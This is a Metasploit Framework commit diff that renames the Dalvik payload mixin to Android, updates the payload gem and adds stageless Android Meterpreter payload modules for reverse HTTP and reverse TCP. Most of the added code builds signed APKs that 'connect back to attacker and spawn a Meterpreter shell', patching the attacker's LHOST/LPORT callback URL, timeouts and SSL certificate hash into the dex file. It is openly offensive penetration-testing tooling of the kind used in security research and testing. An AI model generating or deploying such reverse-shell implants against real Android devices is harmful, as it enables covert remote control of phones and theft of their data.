Land #7292, android stageless with new payload gem

bug/bundler_fix
Jeffrey Martin 2016-09-28 16:31:45 -05:00
commit 21ec4915a7
No known key found for this signature in database
GPG Key ID: 0CD9BBC2AF15F171
13 changed files with 245 additions and 95 deletions

View File

@ -14,7 +14,7 @@ PATH
metasploit-concern metasploit-concern
metasploit-credential metasploit-credential
metasploit-model metasploit-model
metasploit-payloads (= 1.1.15) metasploit-payloads (= 1.1.16)
metasploit_data_models metasploit_data_models
metasploit_payloads-mettle (= 0.0.6) metasploit_payloads-mettle (= 0.0.6)
msgpack msgpack
@ -167,7 +167,7 @@ GEM
activemodel (~> 4.2.6) activemodel (~> 4.2.6)
activesupport (~> 4.2.6) activesupport (~> 4.2.6)
railties (~> 4.2.6) railties (~> 4.2.6)
metasploit-payloads (1.1.15) metasploit-payloads (1.1.16)
metasploit_data_models (2.0.1) metasploit_data_models (2.0.1)
activerecord (~> 4.2.6) activerecord (~> 4.2.6)
activesupport (~> 4.2.6) activesupport (~> 4.2.6)

View File

@ -414,8 +414,6 @@ protected
url = payload_uri(req) + conn_id url = payload_uri(req) + conn_id
url << '/' unless url[-1] == '/' url << '/' unless url[-1] == '/'
p url
# Short-circuit the payload's handle_connection processing for create_session # Short-circuit the payload's handle_connection processing for create_session
create_session(cli, { create_session(cli, {
:passive_dispatcher => self.service, :passive_dispatcher => self.service,

View File

@ -28,7 +28,7 @@ class Payload < Msf::Module
require 'msf/core/payload/windows' require 'msf/core/payload/windows'
require 'msf/core/payload/netware' require 'msf/core/payload/netware'
require 'msf/core/payload/java' require 'msf/core/payload/java'
require 'msf/core/payload/dalvik' require 'msf/core/payload/android'
require 'msf/core/payload/firefox' require 'msf/core/payload/firefox'
require 'msf/core/payload/mainframe' require 'msf/core/payload/mainframe'

View File

@ -1,7 +1,12 @@
# -*- coding: binary -*- # -*- coding: binary -*-
require 'msf/core' require 'msf/core'
require 'msf/core/payload/uuid/options'
require 'msf/core/payload/transport_config'
module Msf::Payload::Dalvik module Msf::Payload::Android
include Msf::Payload::TransportConfig
include Msf::Payload::UUID::Options
# #
# Fix the dex header checksum and signature # Fix the dex header checksum and signature
@ -31,25 +36,53 @@ module Msf::Payload::Dalvik
[str.length].pack("N") + str [str.length].pack("N") + str
end end
def apply_options(classes) def apply_options(classes, opts)
timeouts = [ timeouts = [
datastore['SessionExpirationTimeout'].to_s, datastore['SessionExpirationTimeout'].to_s,
datastore['SessionCommunicationTimeout'].to_s, datastore['SessionCommunicationTimeout'].to_s,
datastore['SessionRetryTotal'].to_s, datastore['SessionRetryTotal'].to_s,
datastore['SessionRetryWait'].to_s datastore['SessionRetryWait'].to_s
].join('-') ].join('-')
string_sub(classes, 'TTTT ', 'TTTT' + timeouts) if opts[:stageless]
config = generate_config_hex(opts)
string_sub(classes, 'UUUU' + ' ' * 8191, 'UUUU' + config)
end
if opts[:ssl]
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
if verify_cert_hash
hash = 'WWWW' + verify_cert_hash.unpack("H*").first
string_sub(classes, 'WWWW ', hash)
end
end
string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + payload_uri)
string_sub(classes, 'TTTT' + ' ' * 48, 'TTTT' + timeouts)
end
def generate_config_hex(opts={})
opts[:uuid] ||= generate_payload_uuid
config_opts = {
ascii_str: true,
arch: opts[:uuid].arch,
expiration: datastore['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: [transport_config(opts)]
}
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
config.to_b.unpack('H*').first
end end
def string_sub(data, placeholder="", input="") def string_sub(data, placeholder="", input="")
data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length)) data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length))
end end
def generate_cert def sign_jar(jar)
x509_name = OpenSSL::X509::Name.parse( x509_name = OpenSSL::X509::Name.parse(
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown" "C=US/O=Android/CN=Android Debug"
) )
key = OpenSSL::PKey::RSA.new(1024) key = OpenSSL::PKey::RSA.new(2048)
cert = OpenSSL::X509::Certificate.new cert = OpenSSL::X509::Certificate.new
cert.version = 2 cert.version = 2
cert.serial = 1 cert.serial = 1
@ -74,7 +107,32 @@ module Msf::Payload::Dalvik
# If this line is left out, signature verification fails on OSX. # If this line is left out, signature verification fails on OSX.
cert.sign(key, OpenSSL::Digest::SHA1.new) cert.sign(key, OpenSSL::Digest::SHA1.new)
return cert, key jar.sign(key, cert, [cert])
end end
def generate_jar(opts={})
if opts[:stageless]
classes = MetasploitPayloads.read('android', 'meterpreter.dex')
else
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
end
apply_options(classes, opts)
jar = Rex::Zip::Jar.new
files = [
[ "AndroidManifest.xml" ],
[ "resources.arsc" ]
]
jar.add_files(files, MetasploitPayloads.path("android", "apk"))
jar.add_file("classes.dex", fix_dex_header(classes))
jar.build_manifest
sign_jar(jar)
jar
end
end end

View File

@ -65,7 +65,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database # are needed when there's no database
spec.add_runtime_dependency 'metasploit-model' spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter # Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.1.15' spec.add_runtime_dependency 'metasploit-payloads', '1.1.16'
# Needed for the next-generation POSIX Meterpreter # Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.0.6' spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.0.6'
# Needed by msfgui and other rpc components # Needed by msfgui and other rpc components

View File

@ -0,0 +1,70 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_http'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/android'
require 'msf/core/payload/uuid/options'
require 'msf/base/sessions/meterpreter_android'
require 'msf/base/sessions/meterpreter_options'
require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = :dynamic
include Msf::Payload::TransportConfig
include Msf::Payload::Single
include Msf::Payload::Android
include Msf::Payload::UUID::Options
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Android Meterpreter Shell, Reverse HTTP Inline',
'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
'License' => MSF_LICENSE,
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'Handler' => Msf::Handler::ReverseHttp,
'Session' => Msf::Sessions::Meterpreter_Java_Android,
'Payload' => '',
))
register_options([
OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
], self.class)
end
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_http(opts)
end
def generate_jar(opts={})
opts[:stageless] = true
super(opts)
end
def payload_uri(req=nil)
# Default URL length is 30-256 bytes
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
# Generate the short default URL if we don't know available space
if self.available_space.nil?
uri_req_len = 5
end
url = "http://#{datastore["LHOST"]}:#{datastore["LPORT"]}#{luri}"
# TODO: perhaps wire in an existing UUID from opts?
url << generate_uri_uuid_mode(:init_connect, uri_req_len)
url
end
end

View File

@ -0,0 +1,49 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/payload/android'
require 'msf/core/payload/transport_config'
require 'msf/base/sessions/meterpreter_android'
require 'msf/base/sessions/meterpreter_options'
require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = :dynamic
include Msf::Payload::TransportConfig
include Msf::Payload::Single
include Msf::Payload::Android
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Android Meterpreter Shell, Reverse TCP Inline',
'Description' => 'Connect back to the attacker and spawn a Meterpreter shell',
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_Java_Android,
'Payload' => '',
))
register_options([
OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
], self.class)
end
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_tcp(opts)
end
def generate_jar(opts={})
opts[:stageless] = true
super(opts)
end
end

View File

@ -12,12 +12,12 @@ module MetasploitModule
CachedSize = :dynamic CachedSize = :dynamic
include Msf::Payload::Stager include Msf::Payload::Stager
include Msf::Payload::Dalvik include Msf::Payload::Android
include Msf::Payload::UUID::Options include Msf::Payload::UUID::Options
def initialize(info = {}) def initialize(info = {})
super(merge_info(info, super(merge_info(info,
'Name' => 'Dalvik Reverse HTTP Stager', 'Name' => 'Android Reverse HTTP Stager',
'Description' => 'Tunnel communication over HTTP', 'Description' => 'Tunnel communication over HTTP',
'Author' => ['anwarelmakrahy', 'OJ Reeves'], 'Author' => ['anwarelmakrahy', 'OJ Reeves'],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
@ -28,7 +28,14 @@ module MetasploitModule
)) ))
end end
def generate_jar(opts={}) #
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_http(opts)
end
def payload_uri(req=nil)
# Default URL length is 30-256 bytes # Default URL length is 30-256 bytes
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length)) uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
# Generate the short default URL if we don't know available space # Generate the short default URL if we don't know available space
@ -40,23 +47,7 @@ module MetasploitModule
# TODO: perhaps wire in an existing UUID from opts? # TODO: perhaps wire in an existing UUID from opts?
url << generate_uri_uuid_mode(:init_java, uri_req_len) url << generate_uri_uuid_mode(:init_java, uri_req_len)
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex') url
string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url)
apply_options(classes)
jar = Rex::Zip::Jar.new
jar.add_file("classes.dex", fix_dex_header(classes))
files = [
[ "AndroidManifest.xml" ],
[ "resources.arsc" ]
]
jar.add_files(files, MetasploitPayloads.path("android", "apk"))
jar.build_manifest
cert, key = generate_cert
jar.sign(key, cert, [cert])
jar
end end
end end

View File

@ -12,12 +12,12 @@ module MetasploitModule
CachedSize = :dynamic CachedSize = :dynamic
include Msf::Payload::Stager include Msf::Payload::Stager
include Msf::Payload::Dalvik include Msf::Payload::Android
include Msf::Payload::UUID::Options include Msf::Payload::UUID::Options
def initialize(info = {}) def initialize(info = {})
super(merge_info(info, super(merge_info(info,
'Name' => 'Dalvik Reverse HTTPS Stager', 'Name' => 'Android Reverse HTTPS Stager',
'Description' => 'Tunnel communication over HTTPS', 'Description' => 'Tunnel communication over HTTPS',
'Author' => ['anwarelmakrahy', 'OJ Reeves'], 'Author' => ['anwarelmakrahy', 'OJ Reeves'],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
@ -29,8 +29,13 @@ module MetasploitModule
end end
def generate_jar(opts={}) def generate_jar(opts={})
opts[:ssl] = true
super(opts)
end
def payload_uri(req=nil)
# Default URL length is 30-256 bytes # Default URL length is 30-256 bytes
uri_req_len = 30 + rand(256-30) uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
# Generate the short default URL if we don't know available space # Generate the short default URL if we don't know available space
if self.available_space.nil? if self.available_space.nil?
uri_req_len = 5 uri_req_len = 5
@ -40,30 +45,8 @@ module MetasploitModule
# TODO: perhaps wire in an existing UUID from opts? # TODO: perhaps wire in an existing UUID from opts?
url << generate_uri_uuid_mode(:init_java, uri_req_len) url << generate_uri_uuid_mode(:init_java, uri_req_len)
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex') url
string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url)
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
if verify_cert_hash
hash = 'WWWW' + verify_cert_hash.unpack("H*").first
string_sub(classes, 'WWWW ', hash)
end
apply_options(classes)
jar = Rex::Zip::Jar.new
jar.add_file("classes.dex", fix_dex_header(classes))
files = [
[ "AndroidManifest.xml" ],
[ "resources.arsc" ]
]
jar.add_files(files, MetasploitPayloads.path("android", "apk"))
jar.build_manifest
cert, key = generate_cert
jar.sign(key, cert, [cert])
jar
end end
end end

View File

@ -6,6 +6,7 @@
require 'metasploit-payloads' require 'metasploit-payloads'
require 'msf/core' require 'msf/core'
require 'msf/core/handler/reverse_tcp' require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/transport_config'
require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options' require 'msf/base/sessions/command_shell_options'
@ -14,11 +15,13 @@ module MetasploitModule
CachedSize = :dynamic CachedSize = :dynamic
include Msf::Payload::Stager include Msf::Payload::Stager
include Msf::Payload::Dalvik include Msf::Payload::TransportConfig
include Msf::Payload::Android
include Msf::Payload::UUID::Options
def initialize(info = {}) def initialize(info = {})
super(merge_info(info, super(merge_info(info,
'Name' => 'Dalvik Reverse TCP Stager', 'Name' => 'Android Reverse TCP Stager',
'Description' => 'Connect back stager', 'Description' => 'Connect back stager',
'Author' => ['timwr', 'OJ Reeves'], 'Author' => ['timwr', 'OJ Reeves'],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
@ -29,33 +32,11 @@ module MetasploitModule
)) ))
end end
def include_send_uuid #
false # Generate the transport-specific configuration
end #
def transport_config(opts={})
def generate_jar(opts={}) transport_config_reverse_tcp(opts)
jar = Rex::Zip::Jar.new
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
url = "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"
string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url)
apply_options(classes)
jar.add_file("classes.dex", fix_dex_header(classes))
files = [
[ "AndroidManifest.xml" ],
[ "resources.arsc" ]
]
jar.add_files(files, MetasploitPayloads.path("android", "apk"))
jar.build_manifest
cert, key = generate_cert
jar.sign(key, cert, [cert])
jar
end end
end end

View File

@ -4,7 +4,7 @@
## ##
require 'msf/core' require 'msf/core'
require 'msf/core/payload/dalvik' require 'msf/core/payload/android'
require 'msf/base/sessions/meterpreter_android' require 'msf/base/sessions/meterpreter_android'
require 'msf/base/sessions/meterpreter_options' require 'msf/base/sessions/meterpreter_options'
require 'rex/payloads/meterpreter/config' require 'rex/payloads/meterpreter/config'
@ -30,7 +30,7 @@ module MetasploitModule
end end
# #
# Override the Payload::Dalvik version so we can load a prebuilt jar to be # Override the Payload::Android version so we can load a prebuilt jar to be
# used as the final stage # used as the final stage
# #
def generate_stage(opts={}) def generate_stage(opts={})

View File

@ -4,7 +4,7 @@
## ##
require 'msf/core' require 'msf/core'
require 'msf/core/payload/dalvik' require 'msf/core/payload/android'
require 'msf/core/handler/reverse_tcp' require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options' require 'msf/base/sessions/command_shell_options'
@ -31,7 +31,7 @@ module MetasploitModule
end end
# #
# Override the {Payload::Dalvik} version so we can load a prebuilt jar # Override the {Payload::Android} version so we can load a prebuilt jar
# to be used as the final stage # to be used as the final stage
# #
def generate_stage(opts={}) def generate_stage(opts={})

View File

@ -45,6 +45,26 @@ RSpec.describe 'modules/payloads', :content do
reference_name: 'aix/ppc/shell_reverse_tcp' reference_name: 'aix/ppc/shell_reverse_tcp'
end end
context 'android/meterpreter_reverse_http' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/android/meterpreter_reverse_http'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'android/meterpreter_reverse_http'
end
context 'android/meterpreter_reverse_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/android/meterpreter_reverse_tcp'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'android/meterpreter_reverse_tcp'
end
context 'android/meterpreter/reverse_http' do context 'android/meterpreter/reverse_http' do
it_should_behave_like 'payload cached size is consistent', it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [ ancestor_reference_names: [